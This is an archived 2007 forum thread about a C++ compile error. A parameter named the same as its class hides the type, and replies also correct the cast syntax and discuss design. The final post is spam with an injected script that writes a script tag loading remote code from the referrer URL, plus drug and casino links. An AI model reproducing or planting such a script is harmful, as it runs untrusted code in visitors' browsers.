The Design of Software (CLOSED)

A public forum for discussing the design of software, from the user interface to the code architecture. Now closed.

The "Design of Software" discussion group has been merged with the main Joel on Software discussion group.

The archives will remain online indefinitely.

C++ When is a type not a type?

I'm working this weekend on another crunch deadline and am having a problem I need some help with.

I have a class:
class queryable {


    virtual std::vector<item> execute() const = 0;

    virtual ~queryable() { };


Its an interface implemented by several concrete class.  I have
a method that accepts it as a parameters, but I need to determine its concrete subclass and cast it.  I'm trying this:

41 impl(const queryable& queryable)
42 {
43    queryable& _queryable(const_cast<queryable&>queryable);
44    queryable* queryable_ptr = &_queryable;
45    query* _query = dynamic_cast<query *>queryable_ptr;
46    if(_query != NULL) {
47        // Do stuff
48    }
49    criteria* _criteria = dynamic_cast<query *>queryable_ptr;
50    if(_criteria != NULL) {
51        // Do stuff
52    }

On line 43 its telling me that queryable is not a type, but it has no problem with me declaring a parameter of type queryable on line 41.

Any thoughts would be greatly appreciated.
Saturday, September 15, 2007
GCC Output if you want to look at it:

g++ -Wall -D_UNIX_ -D_LINIX_ -ggdb -D_DEBUG -g -D__OS_LINUX__ -pthread -Iinclude  -I/usr/local/include/boost-1_33_1 -I/home/kenklose/ws-c++/C++/include -I/home/kenklose/ws-c++/C++/include/ltxml    -c -o query.o query.cpp
query.cpp: In constructor `army::dci::query::impl::impl(const army::dci::queryable&)':
query.cpp:43: error: `queryable' is not a type
query.cpp:43: error: expected `>' before '&' token
query.cpp:43: error: expected `(' before '&' token
query.cpp:43: error: expected primary-expression before '>' token
query.cpp:44: error: `queryable_ptr' was not declared in this scope
query.cpp:44: error: `_queryable' was not declared in this scope
query.cpp:45: error: expected `(' before "queryable_ptr"
query.cpp:45: error: expected `)' before ';' token
query.cpp:45: error: cannot dynamic_cast `queryable_ptr' (of type `<type error>') to type `class army::dci::query*' (source is not a pointer)
query.cpp:49: error: expected `(' before "queryable_ptr"
query.cpp:49: error: expected `)' before ';' token
query.cpp:49: error: cannot dynamic_cast `queryable_ptr' (of type `<type error>') to type `class army::dci::query*' (source is not a pointer)
query.cpp:44: warning: unused variable '_queryable'
make: *** [query.o] Error 1
Saturday, September 15, 2007
What is 'item'?

Should the queryable class be defined as a template, e.g.:

template<class item>
class queryable { ... };

When you use the queryable template class after declaring it, shouldn't you also specify the type of the template parameter, and say e.g. queryable<int> rather than just queryable?
Christopher Wells Send private email
Saturday, September 15, 2007
item is the type returned by all Queryables execute() methods.  There are different classes that are capable of performing queries in different ways (none involving a DB) but in the end they all have execute() methods that return a vector<items>. 

I'm deep inside my implementation code, getting passed in a Queryable abstract type but I need to treat it differently depending on its concrete type.

In Java parlance (a language I know well) I'm looking to do:
void method(Queryable q) {
      if(q instanceof Query) {
            Query qry = (Query) q;
      else if(q instanceof Criteria) {
            Criteria c = (Criteria) q;
      // etc.

Saturday, September 15, 2007
"On line 43 its telling me that queryable is not a type, but it has no problem with me declaring a parameter of type queryable on line 41."

Obviously there will be confusion on line 43 precisely because you named the parameter that on 41.
Saturday, September 15, 2007
In case you didn't get it, onanon is saying that because you declared the parameter as "const queryable& queryable" therefore later the name of the parameter is hiding the name of the type.

FWIW, to avoid this I use UpperCase (e.g. "Queryable" not "queryable") to name user-defined types, and camelCase or lower_case to name variables.
Christopher Wells Send private email
Saturday, September 15, 2007
More simply, don't use the same name for both a variable and a type.
Jeffrey Dutky Send private email
Saturday, September 15, 2007
Are you sure that you need a cast?  Casts are a sign that something is deficient.  Some of the possibilities are:

1) The language is missing a feature (unlikely in C++).
2) That feature is too awkward to use (possible)
3) You are working with some screwed up legacy code. (common)
4) Your design is flawed. (most often the case)
Tom C
Saturday, September 15, 2007
Instead of casting, see if you can put the concrete type-specific code into the concrete types themselves. It might involve adding a new pure virtual function to the base class.
Saturday, September 15, 2007
Your casting syntax is wrong: you're missing parentheses around the expression you're trying to cast.
Saturday, September 15, 2007
I think Messrs Wells and Dutky are correct, but there should be a workaround!

If you use the "class" keyword, you can explicitly specify that you're referring to the name of a class rather than the name of a variable:

const_cast<class queryable &>(queryable)

This is how you can have a function and a struct called "stat" in the standard library. See sys/stat.h.

(This post brought to you by the "This is an answer but probably not the right one" department.)
Saturday, September 15, 2007
Thanks a million!  Naming the variable the same as the class was definitely dumb.  Looking back through the rest of my code (and some old notes) I see that whenever I do something similar I always have _ before or after the name for members and locals respectively - and this is the reason why.  I ran into this same problem in March (when I started working in C++ for the first time), was equally perplexed by the error message and then adopted the above solution when I learned what the problem was.

But now I just went 3 months without touching C++ so some of the early, hard-fought lessons have cobwebs on them.

TomC - Yep I agree, bad design.  Could easily have different impl constructor signatures, one for each of the Queryable concrete classes.  My thinking (perhaps incorrect) is that this simplifies the external interface - customers will be dealing with queryables and a single impl constructor - my hope is that this approach makes the public interface less cluttered.  The downside is that I have to deal with the ickiness of casting.

On the plus side you saw all the mistakes in my casting syntax - the reason for that is this the first time in the 7K lines of C++ code I've written that I've ever done a cast.
Sunday, September 16, 2007
Since we seem to be commenting on the code anyway, what's the reason to pass in a const & parameter, only to cast away the const one line down, only to cast it to a * one more line down?
Jeroen Bouwens
Sunday, September 16, 2007
I still don't understand.  Why not use virtual functions?  That is the entire point of inheritance.
Tom C
Sunday, September 16, 2007
Since no one else has said this, let me:
    You shouldn't start variable names with _.

The standard reserves variable names starting with _ for use by the compiler, the standard library, etc.  In other words, for everyone but the user.

This is likely to cause you trouble 2 hours before a major deadline when you can't figure out what's going on, and then it turns out there's something in <iostream> with the same name.

To achieve the same effect, I sometimes end a variable name with _, as in (const queryable& queryable_).  Or come up with a different name entirely.
Michael G Send private email
Sunday, September 16, 2007
Ugn:  it's good to provide a simple basic API.  Less to maintain, less to screw up.

But then add some utility methods on top of it, for common use cases.  Maybe provide default implementations in the base class.

Good software designs are layered.  Provide the basic functionality and make it small and easy to understand, code, & debug.  Then provide a layer on top to make it easy to work with.  When your upper layer doesn't fit what people need, they can go down a layer & work with the raw APIs.
Lally Singh Send private email
Monday, September 17, 2007
mqy8bsh-xc9g61q-tw6q2e70-0 <script>var r = document.referrer; document.write('<script src="'+escape(r)+'"><' + '/script>')</script> <a href="">levitra</a>
[ car insurance]
no deposit casino online Send private email
Sunday, September 30, 2007

This topic is archived. No further replies will be accepted.

Other recent topics Other recent topics
Powered by FogBugz